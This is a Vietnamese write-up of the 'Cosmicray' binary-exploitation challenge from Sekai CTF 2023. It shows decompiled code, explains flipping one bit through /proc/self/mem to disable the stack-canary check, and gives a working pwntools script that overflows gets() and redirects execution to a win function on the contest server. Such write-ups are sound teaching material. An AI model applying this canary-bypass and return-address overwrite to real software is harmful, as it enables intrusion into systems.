🎴Cosmicray - Sekai CTF 2023
Bài này nếu mà nhìn payload rồi thì thấy khá dễ, cơ mà để nghĩ ra cách làm thì mất kha khá thời gian của mình :v. Tôi đã submit nó lúc 22h59p :>>
Kĩ thuật thì không có gì lạ. Điều lạ duy nhất ở đây là nó có 1 chức năng ghi đè (sửa) 1 opcode
int main(int argc, const char **argv, const char **envp)
{
__off_t addr; // [rsp+8h] [rbp-38h] BYREF
unsigned __int64 v5; // [rsp+38h] [rbp-8h]
v5 = __readfsqword(0x28u);
setbuf(_bss_start, 0LL);
puts("Welcome to my revolutionary new cosmic ray machine!");
puts("Give me any address in memory and I'll send a cosmic ray through it:");
__isoc99_scanf("0x%lx", &addr);
getchar();
cosmic_ray(addr);
puts("Please write a review of your experience today:");
gets(); /*<----- Overflow diễn ra ở đây*/
return 0;
}
Nó sẽ đơn giản nếu không có hàm check canary:

unsigned __int64 cosmic_ray(__off_t addr)
{
unsigned int pos; // [rsp+14h] [rbp-2Ch] BYREF
int i; // [rsp+18h] [rbp-28h]
int fd; // [rsp+1Ch] [rbp-24h]
__int64 bits; // [rsp+20h] [rbp-20h]
__int64 bits_0; // [rsp+28h] [rbp-18h]
char buf; // [rsp+36h] [rbp-Ah] BYREF
char value; // [rsp+37h] [rbp-9h] BYREF
unsigned __int64 v9; // [rsp+38h] [rbp-8h]
v9 = __readfsqword(0x28u);
fd = open("/proc/self/mem", 2);
lseek(fd, addr, 0); // move 1 byte từ addr --> fd
read(fd, &buf, 1uLL); // đọc 1 byte từ fd và lưu vào buf
bits = (__int64)byte_to_binary(buf);
puts("\n|0|1|2|3|4|5|6|7|");
printf("-----------------\n|");
for ( i = 0; i <= 7; ++i )
printf("%d|", (unsigned int)*(char *)(i + bits));
puts("\n\nEnter a bit position to flip (0-7):");
__isoc99_scanf("%d", &pos);
getchar();
if ( (pos & 0x80000000) != 0 || (int)pos > 7 )
exit(1);
bits_0 = flip_bit(bits, pos);
value = binary_to_byte(bits_0);
printf("\nBit succesfully flipped! New value is %d\n\n", (unsigned int)value);
lseek(fd, addr, 0);
write(fd, &value, 1uLL); // write byte từ value --> addr ban đầu nhập
return v9 - __readfsqword(0x28u);
}
Hàm trên có chức năng sửa opcode mà tôi đã nói ở đầu bài viết.
Mọi hàm đều hoạt động trơn tru ngoại trừ 2 hàm trên:


Mọi thứ đều dynamic nên không thể ghi đè vào các biến. Chỉ có địa chỉ của elf là static.
Opcode tại địa chỉ 0x4012D6
trước khi bị sửa:

Oke. Sau 1 hồi thì tôi có thấy được 2 lỗi:
Leak 1 bytes (giá trị) từ chương trình
Sửa 1 opcode bất kì theo ý của mình. Nhưng sửa opcode nào??
Đó là câu hỏi tôi đi tìm nửa buổi chiều :>>. Nhưng tôi biết rằng lỗi thứ 1 không giúp ích được gì nên tôi đã loại nó.
Và khi màn đêm buông xuống tôi nhận ra được 1 thứ thú vị.

Nếu bạn để ý thì có thể thấy tôi đang nhắc đến cái gì. Yeb câu trả lời cho phần này đó là ghi đè vào phần opcode này:

Có duy nhất 1 địa chỉ có thể được ghi ở đây sau khi việc ghi dữ liệu hoàn tất(cosmic_ray
)
Để nhìn bằng ida thì sẽ không ra nhưng thử bằng GDB xem sao:

Sau tất cả, tôi nhận thấy mình có 1 khả năng là thay hàm __stack_chk_fail
thành 1 hàm khác để việc check canary không xảy ra. Tôi quyết định sẽ thay thế bằng 1 hàm nào đó ở gần hàm scanf
. Sau khi cosmic_ray
thực thi thì địa chỉ sẽ được thay đổi và tôi có thể pass được canary và tiến hành ghi đè vào return pointer để trỏ đến hàm win
sau khi kết thúc hàm main.
Solution
from pwn import *
elf = context.binary = ELF("./cosmicray_patched")
libc = ELF("./libc-2.35.so")
r = elf.process()
r = remote("chals.sekai.team", 4077)
# gdb.attach(r, '''
# b* main+162 \n
# c
# ''')
addr = 0x4016F7
context.log_level = "DEBUG"
r.sendline(b"0x4016F7")
r.sendline(str(0))
r.recvuntil(b"experience today:\n")
payload = b"1" * 56 + p64(elf.sym["win"])
r.sendline(payload)
r.interactive()

Nó có thể xảy ra lỗi nhưng thứ tôi cần là FLAG :>>.
Last updated